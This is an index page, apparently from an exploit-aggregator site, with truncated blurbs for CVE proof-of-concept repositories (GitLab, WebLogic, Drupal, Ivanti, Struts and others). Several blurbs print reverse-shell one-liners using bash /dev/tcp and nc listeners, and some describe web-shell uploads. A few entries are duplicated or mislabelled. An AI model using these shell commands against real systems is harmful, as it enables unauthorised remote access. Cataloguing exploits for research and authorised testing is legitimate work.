CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell Versión probada Construir el comando para generar el exploit root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Usar djvumake para generar la imagen del exploit root@kitploit: import os...

CVE-2021-21425

CVE-2021-21425 fuente: https://www.exploit-db.com/exploits/49973 1 cambiar IP del objetivo 2 cambiar payload echo -ne "bash -i & /dev/tcp/OUR-IP/80 0&1" | base64 -w0 3 sudo nc -lvnp 80 4 python3 exploit.py...

citrixInspector

CVE-2023-3519 Inspector El cve20233519inspector.py es un escáner de vulnerabilidades basado en Python para detectar la vulnerabilidad CVE-2023-3519 en Citrix Gateways. Realiza un análisis pasivo y fingerprinting de los sitios web objetivo para evaluar su vulnerabilidad basándose en una serie de...

CVE-2019-10068-PoC

CVE-2019-10068 PoC for Kentico CMS Proof of concept exploit for CVE-2019-10068, leveraging a Deserialization RCE in Kentico CMS to upload a web shell. Legal Disclaimer: This proof-of-concept is provided for educational and authorised security research purposes only. The author is not responsible...

CVE-2016-10033-PoC

CVE-2016-10033-PoC Escribí esto para PentesterLab Si eres de PentesterLab's no hagas trampa, es mucho mejor aprender. Espero que sea útil para alguien, si no para mí en el futuro : Tiene shell interactivo, buenas cosas de argparse también. Uso root@kitploit: usage: poc.py -h --target TARGET...

CVE-2016-2098-PoC

CVE-2016-10033-PoC Wrote this for PentesterLab If you are from PentesterLab's don't cheat, it's alot better to learn. Hope it's useful to someone, if not to me in the future : Has interactive shell, nice argparse stuff asw Usage root@kitploit: usage: script.py -h --url URL --param PARAM --proxy...

CVE-2018-17431-Comodo

CVE-2018-17431-PoC Proof of consept for CVE-2018-17431 Exploit Title: Comodo Firewall & Central Manager UTM All Release before 2.7.0 & 1.5.0 Remote Command Execution Web Shell based Exploit Author: Milad Fadavvi Vendor Homepage: https://www.comodo.com/ Software Link:...

firefox: Privilege escalation in the Shell Integration component

A flaw was found in Firefox. The Mozilla Foundation's Security Advisory describes the following issue: Privilege escalation in the Shell Integration component...

log4j-shell-poc

Este repositorio no tiene un README...

CVE-2024-32651-changedetection-RCE

CVE-2024-32651 changedetection 0.45.20 - Ejecución Remota de Código RCE Exploit de Inyección de Plantillas del Lado del Servidor!! 1. Título Ejecución Remota de Código mediante Inyección de Plantillas del Lado del Servidor SSTI en una Aplicación Web Vulnerable 2. Descripción Este exploit tiene...

Microsoft Plugs Nearly 1,000 Security Holes

Microsoft Corp. today issued updates to plug at least 974 security holes in its Windows operating systems and other software, by far its biggest single patch batch ever. Microsoft says artificial intelligence is helping to speed the discovery of vulnerabilities, but security experts warn that man...

cve-2024-10914-port

CVE-2024-10914 portado a rust y python porque sí qué es esto cve-2024-10914 es una vulnerabilidad descubierta recientemente con una puntuación crítica de 9.8 que afecta a algunos routers dlink. como esos routers llegaron a su fin de vida útil EOL, dlink se niega a parchear esta vulnerabilidad...

Struts-Apache-ExploitPack

Struts-Apache-ExploitPack Estos son solo algunos scripts que puedes usar para detectar y explotar la vulnerabilidad de Apache Struts CVE-2017-5638 Hay un MassScanner y un Exploiter, puedes usar el escáner para escanear masivamente una lista de URLs y luego explotarlas con el Exploiter. El Exploit...

CVE-2026-78630

The Okta Access Gateway does not neutralize shell metacharacters in SNMP configuration values before a privileged script uses them to construct OS commands. An authenticated local user with access to the management interface can supply crafted values, resulting in the execution of arbitrary OS...

firefox: Privilege escalation in the Shell Integration component

A flaw was found in Firefox. The Mozilla Foundation's Security Advisory describes the following issue: Privilege escalation in the Shell Integration component...

CVE-2017-10271

weblogicwlswsatrce Script de explotación de la vulnerabilidad de deserialización del componente wls-wsat de Weblogic CVE-2017-10271, modificado a partir dehttps://github.com/s3xy/CVE-2017-10271. Ejecución de comandos con salida visible Subida directa de shell Probado OK en Weblogic 10.3.6.0 en...

CVE-2026-39987_PoC

CVE-2026-39987-PoC Descargo de responsabilidad Este script es SOLO para fines educativos y de pruebas autorizadas. El uso no autorizado de esta herramienta contra sistemas sin permiso explícito es ILEGAL. El autor no es responsable de ningún uso indebido de esta información. Las versiones de Mari...

CVE-2018-7600

CVE-2018-7600 Exploit de Prueba de Concepto para Drupal CVE-2018-7600 RCE con soporte de pseudo-shell y proxy...

CVE-2018-2893

CVE-2018-2893 Can directly bounce a reverse shell Usage Listen root@kitploit: nc -lvvp reverseport Send payload root@kitploit: python weblogic.py targethost targetport reversehost reverseport Reference bigsizeme pyn3rd Note For testing and learning purposes only, do not use for other purposes...

ivanti_shell

Explotación de CVE-2024-21887 con Shell Inversa de Ngrok Este repositorio proporciona un script de Python diseñado para demostrar la explotación de la vulnerabilidad CVE-2024-21887 en las pasarelas Ivanti Connect Secure. Utiliza Ngrok para establecer una shell inversa con fines educativos y de...